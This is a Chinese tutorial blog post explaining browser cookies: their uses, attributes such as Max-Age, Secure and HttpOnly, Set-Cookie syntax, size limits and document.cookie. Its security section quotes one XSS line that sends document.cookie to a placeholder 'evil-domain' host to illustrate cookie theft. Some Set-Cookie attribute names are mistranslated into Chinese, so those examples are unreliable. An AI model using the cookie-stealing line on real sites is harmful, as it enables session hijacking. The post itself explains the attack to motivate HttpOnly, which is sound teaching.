文章已经收录在我的GitHub中了。欢迎关注什么是cookie及其使用场景。Cookie是服务器端存储在浏览器中的一小段文本信息。附上这些资料(不是全部都包括在内,具体情况下面会介绍)。使用场景:对话框管理:保存登录、购物车等需要记录的信息个性化:保存用户偏好,如网页的字体大小、背景色等跟踪:记录分析用户行为场景。我们有时会使用cookie进行客户端存储,这是可能的,但不推荐这样做。因为cookie本身的大小是有限的,会影响性能。存储还是要考虑localStorage、sessionStorage或者indexDBcookie的几个重要属性。在了解每个属性之前,我们先打开浏览器调试-应用程序-Cookies-选择一个域。上面会有这些cookie的name,value,Domain,Path,Expires/Max-age,Size,HTTP,Secure。接下来说几个重要的点:Expires和Max-Age这两个属性是关系到cookie的生存时间的。Expires属性指定特定的到期时间。在指定的时间之后,浏览器将不再保留cookie。它的值是UTC格式,可以使用Date.prototype.toUTCString()格式转换。设置如下:Set-Cookie:id=a3fWa;过期=2015年10月21日星期三07:28:00GMT;Max-Age属性指定cookie从现在开始存在的秒数,比如60*60*24*365(即一年)。这段时间之后,浏览器将不再保留此cookie。Max-Age的优先级会比Expires高。主要原因是Max-Age受外界因素影响较小(比如客户端的时间可能有误)。如果两者都没有设置,那么这个cookie就是一个SessionCookie,一旦浏览器关闭,浏览器就不会保留这个cookie。domain和path这两个属性决定了HTTP请求时哪些请求会携带哪些cookie,下面会详细解释。Secure和HttpOnlySecure属性指定浏览器只能在加密协议HTTPS下将此cookie发送到服务器。另一方面,如果当前协议是HTTP,浏览器会自动忽略服务器发送的Secure属性。这个属性只是一个开关,不需要指定值。如果通讯是HTTPS协议,这个开关会自动打开。如果设置了Secure属性,则Secure列将被勾选。HttpOnly属性指定不能通过JavaScript脚本获取Cookie,主要是因为Document.cookie属性、XMLHttpRequest对象、RequestAPI都无法获取该属性。这样就避免了cookie被脚本读取,只有浏览器发送HTTP请求时才会带上cookie。如果设置了HttpOnly属性,那么cookie和HTTP协议HTTP响应——cookiegeneration将在HTTP栏中被勾选。服务器如果想在浏览器中植入cookie,那么只需要在HTTP请求头信息中放置一个Set-即可。cookie的字段。例如:Set-Cookie:foo=bar,那么浏览器中就会保存一个名为foo,值为bar的cookie。除了值之外,还可以设置其他属性。设置Cookie:=;Expires=Set-Cookie:=;Max-Age=Set-Cookie:=;Domain=Set-Cookie:=;Path=Set-Cookie:=;SecureSet-Cookie:=;HttpOnly当然一个Set-Cookie字段可以同时包含多个属性(并且没有顺序要求),如下所示Show:Set-Cookie:=;域=<域值>;安全的;HttpOnly注意,如果要使用Set-Cookie修改一个已经存在的cookie的值,那么要注意,必须匹配所有的原始属性值(如果存在的话),否则会生成一个新的cookie而不是修改它的价值。比如原始cookie是:Set-Cookie:key1=value1;域名=example.com;path=/blog那么你正确的修改方式应该是:Set-Cookie:key1=value2;域名=example.com;path=/blog如果你的修改方法如下:Set-Cookie:key1=value2;域名=example.com;path=/,在浏览器端会设置两个同名的cookie,如下:Cookie:key1=value1;key1=value2这不是我们想看到的!HTTP请求——cookie发送这里涉及到一个问题,我们是否每次请求都带上所有的cookie,当然不行,不然性能会很低。那么浏览器是如何判断哪些请求会带来哪些cookie呢?这与Domain和path属性密切相关。例如,现在一个cookie的域属性为www.example.com,路径属性值为/。意味着,此cookie对域的根路径及其所有子路径有效。如果我们修改它的路径值为/forums,那么只有在访问www.example.com/forums及其子路径时才会带上这个cookie。Cookie与安全会话劫持和XSS在Web应用程序中,cookie通常用于标记用户或授权会话。如果这些信息(cookies)可以被窃取,它可能会导致对授权用户的会话和网页的攻击,例如:(newImage()).src="http://www.evil-domain.com/steal-cookie.php?cookie="+document.cookie;HttpOnly类型的cookie可以防止Js访问它,减轻这种跨站攻击请求伪造(CSRF)比如一个网站的图片如下:当你打开这个图片时,如果你登录之前的银行账号和cookie仍然有效(没有其他验证步骤,有点极端),那么您的账户可能存在风险。自动删除cookie和手动删除在了解自动删除cookie之前,我们先来了解一下小cookie的一些限制:所有发送到服务器的cookie最大不能超过4kb,所有超过这个限制的cookie都会被截断,不会被删除发送到服务器端。IE7及以后版本限制每个域名下的cookie数量不超过50个,Opera限制cookie数量为30个,Safari和Chrome无此限制。其限制的原因主要是为了防止cookies被滥用,cookies会被发送到服务器。如果数量太大,会严重影响请求的性能。以上两个限制是cookies被浏览器自动删除的原因。自动删除主要有以下几种可能:会话cookie(sessioncookie)会在会话结束(浏览器关闭)时被删除。持久性cookie(持久性cookie)在达到到期日期时将被删除。当达到浏览器的cookie限制时,它会自动清除以便为新的cookie腾出空间。document.cookie对于前端来说,我们通过document.cookie获取cookie和设置cookie。读取cookie获取方式如下(当然这个cookie是没有HttpOnly属性的)。可以看到document.cookie是一次性读出所有的可读cookie,并且用分号隔开,所以必须手动划分。varcookies=document.cookie.split(';');for(vari=0;i